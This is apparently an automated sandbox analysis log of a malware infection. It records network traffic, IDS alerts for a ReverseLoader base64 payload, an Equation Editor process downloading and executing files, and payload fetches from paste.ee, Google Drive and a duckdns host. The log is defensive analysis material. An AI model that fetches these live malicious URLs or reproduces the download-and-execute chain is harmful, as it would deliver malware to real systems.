Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2020423 - Severity 1 - ET EXPLOIT_KIT ReverseLoader Base64 Payload Inbound : 198.46.178.134:80 -> 192.168.2.22:49168
Source: Network traffic	Suricata IDS: 2049038 - Severity 1 - ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2 : 142.250.186.97:443 -> 192.168.2.22:49167

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\wscript.exe	Domain query: paste.ee
Source: C:\Windows\SysWOW64\wscript.exe	Network Connect: 188.114.96.3 443			Jump to behavior

Connects to a pastebin service (likely for C&C)

Source: unknown	DNS query: name: paste.ee
Source: unknown	DNS query: name: paste.ee

Uses dynamic DNS services

Source: unknown

DNS query: name: wednesdayyyyyyfile.duckdns.org

Yara detected Generic Downloader

Source: Yara match	File source: 10.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.powershell.exe.74eab28.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.powershell.exe.6350000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 3_2_035006DC URLDownloadToFileW,ShellExecuteW,ExitProcess,

3_2_035006DC

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download HTTP/1.1Host: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /equitosssssssdroidlatest.txt HTTP/1.1Host: wednesdayyyyyyfile.duckdns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 198.46.178.134 198.46.178.134

Source: Joe Sandbox View	ASN Name: TUT-ASUS TUT-ASUS
Source: Joe Sandbox View	ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

DNS query: name: ip-api.com

Source: global traffic	HTTP traffic detected: GET /d/nwtkd HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: paste.ee
Source: global traffic	HTTP traffic detected: GET /wednesdaysMPDW-constraints.vbs HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: wednesdayyyyyyfile.duckdns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /d/nwtkd HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: paste.ee

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49165 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.22:49166 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.22:49167 version: TLS 1.0

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 3_2_035006DC URLDownloadToFileW,ShellExecuteW,ExitProcess,

3_2_035006DC

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\wednesdaysMPDW-constraints[1].vbs

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /d/nwtkd HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: paste.ee
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download HTTP/1.1Host: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wednesdaysMPDW-constraints.vbs HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: wednesdayyyyyyfile.duckdns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /d/nwtkd HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: paste.ee
Source: global traffic	HTTP traffic detected: GET /equitosssssssdroidlatest.txt HTTP/1.1Host: wednesdayyyyyyfile.duckdns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: wscript.exe, 00000006.00000003.476800668.0000000000529000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476902673.000000000052D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.478430362.000000000052E000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: wednesdayyyyyyfile.duckdns.org
Source: global traffic	DNS traffic detected: DNS query: paste.ee
Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: ip-api.com

Source: wscript.exe, 00000006.00000003.476800668.0000000000529000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476902673.000000000052D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.478430362.000000000052E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.525769987.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: wscript.exe, 00000006.00000003.476800668.0000000000529000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476902673.000000000052D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.478430362.000000000052E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.525769987.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: wscript.exe, 00000006.00000003.476800668.0000000000529000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476902673.000000000052D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.478430362.000000000052E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.525769987.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: wscript.exe, 00000006.00000003.476800668.0000000000529000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476902673.000000000052D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.478430362.000000000052E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.525769987.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: wscript.exe, 00000006.00000003.476800668.0000000000529000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476902673.000000000052D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.478430362.000000000052E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.525769987.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: wscript.exe, 00000006.00000003.476800668.0000000000529000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476902673.000000000052D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.478430362.000000000052E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.525769987.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: wscript.exe, 00000006.00000003.476800668.0000000000529000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476902673.000000000052D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.478430362.000000000052E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.525769987.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: AddInProcess32.exe, 0000000A.00000002.623977936.000000000241C000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000A.00000002.623977936.0000000002438000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000A.00000002.623977936.0000000002381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: powershell.exe, 00000009.00000002.526475419.00000000074EA000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000A.00000002.623977936.000000000241C000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000A.00000002.623077107.0000000000580000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 0000000A.00000002.622833840.0000000000402000.00000040.00000400.00020000.00000000.sdmp, AddInProcess32.exe, 0000000A.00000002.623977936.0000000002381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: powershell.exe, 00000009.00000002.520640546.0000000003479000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
